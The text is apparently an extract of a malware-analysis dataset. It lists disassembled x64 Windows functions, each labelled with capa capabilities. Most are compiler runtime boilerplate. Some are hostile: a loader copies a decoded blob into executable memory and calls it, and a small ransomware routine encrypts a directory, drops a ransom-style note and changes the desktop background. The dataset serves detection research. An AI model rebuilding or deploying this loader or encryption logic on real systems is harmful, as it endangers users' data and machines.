joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400017de
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call fcn.140001910
mov r9d, 0
lea r8, str.Secret
mov edx, 0x139
lea rax, section..data
mov rcx, rax
call fcn.14000167a
mov qword [rbp - 8], rax
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x139
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
mov r8d, 0x139
mov rcx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rax, qword [rbp - 0x10]
call rax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140001b20
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.140002920
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x140001b90
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400071a4]
mov rbx, rcx
test esi, esi
jle 0x140001cc0
mov rax, qword [0x1400071a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001bdb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001c65
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001bc0
mov rcx, rbx
call fcn.140002600
mov rdi, rax
test rax, rax
je 0x140001ce2
mov rax, qword [0x1400071a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002740
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400071a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001cc7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001c5e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001c70
add dword [0x1400071a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400071a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001c5e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001b20
nop dword [rax]
xor esi, esi
jmp 0x140001be8
mov rax, qword [0x1400071a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001b20
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001b20
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140002270
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007200]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400071e0]
test rbx, rbx
je 0x1400022cc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400022c3
test eax, eax
jne 0x1400022c3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400022a8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002600
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002620
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002628
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002620
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000267d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002674
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002620
add rax, 0x28
cmp rax, r9
jne 0x140002660
xor eax, eax
ret

Function at 0x140002680
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043a0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000269f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400026a8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000269f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002740
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043a0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000275f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002768
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001000
Capabilities:
Execute command

Disassembly:
sub rsp, 0x28
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001030
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0x28
ret

Function at 0x140001b3c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b86
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b86
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b86
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b86
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b86
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b88
xor al, al
add rsp, 0x28
ret
Function at 0x140001630
Capabilities:
Access peb ldr_data

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xa0
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov r13d, edx
mov qword [rsp + 0x60], rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x6c], xmm0
movups xmmword [rsp + 0x7c], xmm0
mov qword [r11 - 0x3c], rax
mov dword [rsp + 0x68], 0x28
mov ebx, dword [0x1400067c0]
mov dword [rsp + 0x6c], ebx
mov esi, dword [0x1400067c4]
mov eax, esi
neg eax
mov dword [rsp + 0x70], eax
mov qword [r11 - 0x54], 0x200001
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x140007b60], eax
jle 0x14000171f
lea rcx, [0x140007b60]
call fcn.140002428
cmp dword [0x140007b60], 0xffffffff
jne 0x140001713
mov eax, dword [0x1400067c4]
imul eax, dword [0x1400067c0]
movsxd rcx, eax
mov eax, 4
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1400027f4
mov qword [0x140007b68], rax
lea rcx, [0x140007b60]
call fcn.1400023bc
mov esi, dword [0x1400067c4]
mov ebx, dword [0x1400067c0]
xor r11d, r11d
test esi, esi
jle 0x1400017cc
movsxd r12, ebx
shl r12, 2
mov rbp, qword [0x140007b68]
inc rbp
nop dword [rax + rax]
test ebx, ebx
jle 0x1400017bd
mov edi, esi
imul edi, ebx
xor r14d, r14d
mov rcx, rbp
mov r15d, ebx
mov eax, r14d
cdq
idiv edi
lea r9d, [rdx + r13]
mov r10d, r9d
shr r10d, 4
movzx eax, r9b
shl al, 3
lea r8d, [rax + r9]
and r10b, r8b
mov r8d, r9d
shr r8d, 7
movzx eax, r9b
shl al, 2
lea edx, [rax + r9]
and r8b, dl
or r10b, r8b
mov edx, r9d
shr edx, 0xa
movzx eax, r9b
add r9b, r9b
add al, r9b
and dl, al
or r10b, dl
dec r10b
mov byte [rcx + 1], r10b
mov byte [rcx], r10b
mov byte [rcx - 1], r10b
mov byte [rcx + 2], 0xff
add r14d, r11d
lea rcx, [rcx + 4]
sub r15, 1
jne 0x140001752
inc r11d
add rbp, r12
cmp r11d, esi
jl 0x140001740
mov dword [rsp + 0x58], 0
lea rax, [rsp + 0x68]
mov qword [rsp + 0x50], rax
mov rax, qword [0x140007b68]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x40], esi
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], esi
mov r9d, ebx
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.GDI32.dll_SetDIBitsToDevice]
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.140002360
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140002040
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, r8
mov rdi, rcx
mov ecx, 0x10
call fcn.1400024a0
mov r9, rax
mov rax, qword [rbx]
mov qword [r9], rax
lea rax, [0x140001a40]
mov qword [r9 + 8], rax
mov qword [rsp + 0x30], r9
lea rbx, [rdi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
lea r8, [0x1400022e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rdi], rax
test rax, rax
je 0x1400020c7
mov rax, rdi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140002360
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x1400020e0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, r9
mov rdi, r8
mov rsi, rcx
mov ecx, 0x18
call fcn.1400024a0
mov r9, rax
mov eax, dword [rbx]
mov dword [r9], eax
mov rax, qword [rdi]
mov qword [r9 + 8], rax
lea rax, [0x140001850]
mov qword [r9 + 0x10], rax
mov qword [rsp + 0x30], r9
lea rbx, [rsi + 8]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0
lea r8, [0x140002310]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsi], rax
test rax, rax
je 0x14000217a
mov rax, rsi
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140002360
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov dword [rbx], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x140002f78
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002fc2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002fc2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002fc2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002fc2
cmp dword [rcx + 0x84], 0xe
jbe 0x140002fc2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002fc4
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14000a960]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000a970]
mov dword [rax], 1
mov rax, qword [0x14000a980]
mov dword [rax], 1
mov rax, qword [0x14000a900]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14000a950]
mov dword [0x14000d020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000aa30]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000aa10]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000a8b0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x1400019ba
Capabilities:
Change the wallpaper
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov r9d, 3
mov r8d, 0
mov edx, 0
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_SystemParametersInfoA]
call rax
mov r9d, 3
mov r8d, 0
mov edx, 0
mov ecx, 0x15
mov rax, qword [sym.imp.USER32.dll_SystemParametersInfoA]
call rax
lea rax, [rbp - 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
lea rax, str.Control_PanelColors
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x140001a7a
mov rax, qword [rbp - 8]
mov dword [rsp + 0x28], 7
lea rdx, str.0_0_255
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.Background
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, str.Control_PanelColors
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x64
mov dword [rsp + 0x20], 2
mov r9, rax
mov r8d, 0
mov edx, 0x1a
mov ecx, 0xffff
mov rax, qword [sym.imp.USER32.dll_SendMessageTimeoutA]
call rax
nop
add rsp, 0x50
pop rbp
ret

Function at 0x140001b59
Capabilities:
Delete file

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
lea rax, str.encryption_marker.txt
mov rcx, rax
call sym.remove
nop
add rsp, 0x20
pop rbp
ret
Function at 0x140001c0b
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
lea rax, str.defaultkey
mov qword [rbp - 8], rax
lea rax, [0x14000a121]
mov qword [rbp - 0x10], rax
lea rax, str.encryption_info.txt
mov qword [rbp - 0x18], rax
lea rax, str.hey._your_files_are_encrypted._cheers_
mov qword [rbp - 0x20], rax
call sym.is_encrypted
test eax, eax
je 0x140001c74
lea rax, str.Files_are_already_encrypted._n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.prompt_for_decryption
jmp 0x140001d76
mov rdx, qword [rbp - 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.encrypt_files_in_directory
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.create_info_file
call sym.mark_as_encrypted
call sym.change_background_to_blue
mov rax, qword [rbp - 0x18]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_AllocConsole]
call rax
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r8, rax
lea rax, [0x14000a014]
mov rdx, rax
lea rax, str.CONOUT_
mov rcx, rax
call sym.freopen
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r8, rax
lea rax, [0x14000a014]
mov rdx, rax
lea rax, str.CONOUT_
mov rcx, rax
call sym.freopen
mov ecx, 0
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r8, rax
lea rax, [0x14000a0b6]
mov rdx, rax
lea rax, str.CONIN_
mov rcx, rax
call sym.freopen
lea rax, str.Encryption_complete._Info_file_created_and_opened._n
mov rcx, rax
call sym.printf
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.prompt_for_decryption
mov eax, 0
add rsp, 0x50
pop rbp
ret

Function at 0x140002050
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x1400020c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000d0b4]
mov rbx, rcx
test esi, esi
jle 0x1400021f0
mov rax, qword [0x14000d0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000210b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002195
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400020f0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140002212
mov rax, qword [0x14000d0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400021f7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000218e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400021a0
add dword [0x14000d0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000d0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000218e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140002118
mov rax, qword [0x14000d0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002780
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000d120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d100]
test rbx, rbx
je 0x1400027dc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400027d3
test rsi, rsi
je 0x1400027d3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400027b8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x1400029f0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002a08
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002a10
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002a20
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x140002a6d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002a64
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140002a6f
add rax, 0x28
cmp rax, r9
jne 0x140002a50
xor eax, eax
ret

Function at 0x140002a70
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002b00
mov rdx, qword [0x14000a900]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140002aee
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140002aee
cmp word [rax + 0x18], 0x20b
jne 0x140002aee
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002b00
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002ad9
add rbx, 0x28
cmp rbx, rdi
je 0x140002b00
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002ad0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002b10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a900]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002b30
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002b38
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002b30
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002b8d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002b84
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002b30
add rax, 0x28
cmp rax, r9
jne 0x140002b70
xor eax, eax
ret

Function at 0x140002b90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a900]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002baf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002bb8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002baf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002bd0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000a900]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002bf0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002bf8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002bf0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002c40
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002c37
test rcx, rcx
je 0x140002bf0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002c28
xor eax, eax
ret
Function at 0x140002c50
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a900]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002c6f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002c78
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002c90
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a900]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002cb0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002cb8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002cb0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002cb0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002d04
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002d10
add rdx, 0x28
cmp r9, rdx
jne 0x140002cf0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002d20
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000a900]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002d42
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002d50
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002d42
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002d42
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002d42
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002da5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002db8
add rdx, 0x28
cmp rdx, r10
jne 0x140002d90
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002dc7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002dd7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002dae
test ecx, ecx
jg 0x140002dc0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret